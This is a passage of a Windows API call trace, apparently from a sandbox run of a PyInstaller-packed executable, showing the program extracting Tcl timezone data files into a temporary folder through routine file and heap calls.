lpSystemTime=0x4f8ce0) returned 1 [0039.526] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.526] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.526] CloseHandle (hObject=0x10c) returned 1 [0039.526] GetLastError () returned 0x0 [0039.526] SetLastError (dwErrCode=0x0) [0039.526] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Rio_Branco") returned 75 [0039.526] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Rio_Branco" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\rio_branco"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.526] GetLastError () returned 0x2 [0039.526] SetLastError (dwErrCode=0x2) [0039.526] GetLastError () returned 0x2 [0039.526] SetLastError (dwErrCode=0x2) [0039.527] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Rio_Branco", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Rio_Branco", lpFilePart=0x0) returned 0x4a [0039.527] GetLastError () returned 0x2 [0039.527] SetLastError (dwErrCode=0x2) [0039.527] GetLastError () returned 0x2 [0039.527] SetLastError (dwErrCode=0x2) [0039.527] GetLastError () returned 0x2 [0039.527] SetLastError (dwErrCode=0x2) [0039.527] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Rio_Branco") returned 75 [0039.527] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.527] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Rio_Branco" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\rio_branco"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.528] GetFileType (hFile=0x10c) returned 0x1 [0039.528] htonl (hostlong=0x23040000) returned 0x423 [0039.528] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.528] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x423, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x423, lpOverlapped=0x0) returned 1 [0039.529] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.529] CloseHandle (hObject=0x10c) returned 1 [0039.530] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550750 | out: hHeap=0x530000) returned 1 [0039.530] htonl (hostlong=0x30000000) returned 0x30 [0039.530] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.530] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.530] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.530] GetFileType (hFile=0x10c) returned 0x1 [0039.530] htonl (hostlong=0x2a255a00) returned 0x5a252a [0039.530] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ed52a, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.530] htonl (hostlong=0x92000000) returned 0x92 [0039.530] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x92) returned 0x55cfe0 [0039.530] htonl (hostlong=0x92000000) returned 0x92 [0039.530] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.530] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.530] htonl (hostlong=0xd6000000) returned 0xd6 [0039.530] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd6) returned 0x550600 [0039.531] htonl (hostlong=0x92000000) returned 0x92 [0039.531] htonl (hostlong=0xd6000000) returned 0xd6 [0039.531] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.531] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.531] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0039.531] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.531] CloseHandle (hObject=0x10c) returned 1 [0039.531] GetLastError () returned 0x0 [0039.531] SetLastError (dwErrCode=0x0) [0039.531] GetLastError () returned 0x0 [0039.531] SetLastError (dwErrCode=0x0) [0039.531] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.531] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.531] GetFileType (hFile=0x10c) returned 0x1 [0039.531] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.531] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.531] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.531] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.531] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.531] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.531] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.531] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.531] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.531] CloseHandle (hObject=0x10c) returned 1 [0039.531] GetLastError () returned 0x0 [0039.532] SetLastError (dwErrCode=0x0) [0039.532] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.532] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.532] GetFileType (hFile=0x10c) returned 0x1 [0039.532] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.532] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.532] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.532] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.532] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.532] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.532] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.532] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.532] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.532] CloseHandle (hObject=0x10c) returned 1 [0039.532] GetLastError () returned 0x0 [0039.532] SetLastError (dwErrCode=0x0) [0039.532] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.532] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.532] GetFileType (hFile=0x10c) returned 0x1 [0039.532] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.532] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.533] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.533] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.533] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.533] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.533] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.533] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.533] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.533] CloseHandle (hObject=0x10c) returned 1 [0039.533] GetLastError () returned 0x0 [0039.533] SetLastError (dwErrCode=0x0) [0039.533] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Rosario") returned 72 [0039.533] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Rosario" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\rosario"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.533] GetLastError () returned 0x2 [0039.533] SetLastError (dwErrCode=0x2) [0039.533] GetLastError () returned 0x2 [0039.533] SetLastError (dwErrCode=0x2) [0039.533] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Rosario", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Rosario", lpFilePart=0x0) returned 0x47 [0039.533] GetLastError () returned 0x2 [0039.533] SetLastError (dwErrCode=0x2) [0039.533] GetLastError () returned 0x2 [0039.533] SetLastError (dwErrCode=0x2) [0039.533] GetLastError () returned 0x2 [0039.533] SetLastError (dwErrCode=0x2) [0039.533] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Rosario") returned 72 [0039.533] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.533] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Rosario" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\rosario"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.534] GetFileType (hFile=0x10c) returned 0x1 [0039.534] htonl (hostlong=0xd6000000) returned 0xd6 [0039.534] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.534] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xd6, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xd6, lpOverlapped=0x0) returned 1 [0039.535] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.535] CloseHandle (hObject=0x10c) returned 1 [0039.535] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.535] htonl (hostlong=0x30000000) returned 0x30 [0039.535] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.535] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.536] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.536] GetFileType (hFile=0x10c) returned 0x1 [0039.536] htonl (hostlong=0xbc255a00) returned 0x5a25bc [0039.536] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5ed5bc, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.536] htonl (hostlong=0x7a060000) returned 0x67a [0039.536] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x67a) returned 0x55e278 [0039.536] htonl (hostlong=0x7a060000) returned 0x67a [0039.536] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.536] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.536] htonl (hostlong=0xfd200000) returned 0x20fd [0039.536] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x20fd) returned 0x561090 [0039.536] htonl (hostlong=0x7a060000) returned 0x67a [0039.536] htonl (hostlong=0xfd200000) returned 0x20fd [0039.536] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563198 [0039.536] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563198 | out: hHeap=0x530000) returned 1 [0039.536] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0039.536] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.536] CloseHandle (hObject=0x10c) returned 1 [0039.536] GetLastError () returned 0x0 [0039.536] SetLastError (dwErrCode=0x0) [0039.536] GetLastError () returned 0x0 [0039.536] SetLastError (dwErrCode=0x0) [0039.537] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.537] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.537] GetFileType (hFile=0x10c) returned 0x1 [0039.537] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.537] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.537] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.537] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.537] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.537] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.537] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.537] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.537] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.537] CloseHandle (hObject=0x10c) returned 1 [0039.537] GetLastError () returned 0x0 [0039.537] SetLastError (dwErrCode=0x0) [0039.537] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.537] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.537] GetFileType (hFile=0x10c) returned 0x1 [0039.537] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.537] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.537] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.537] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.537] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.537] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.538] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.538] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.538] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.538] CloseHandle (hObject=0x10c) returned 1 [0039.538] GetLastError () returned 0x0 [0039.538] SetLastError (dwErrCode=0x0) [0039.538] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.538] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.538] GetFileType (hFile=0x10c) returned 0x1 [0039.538] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.538] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.538] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.538] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.538] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.538] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.538] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.538] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.538] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.538] CloseHandle (hObject=0x10c) returned 1 [0039.538] GetLastError () returned 0x0 [0039.538] SetLastError (dwErrCode=0x0) [0039.538] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Santa_Isabel") returned 77 [0039.538] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Santa_Isabel" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\santa_isabel"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.539] GetLastError () returned 0x2 [0039.539] SetLastError (dwErrCode=0x2) [0039.539] GetLastError () returned 0x2 [0039.539] SetLastError (dwErrCode=0x2) [0039.539] GetFullPathNameW (in: 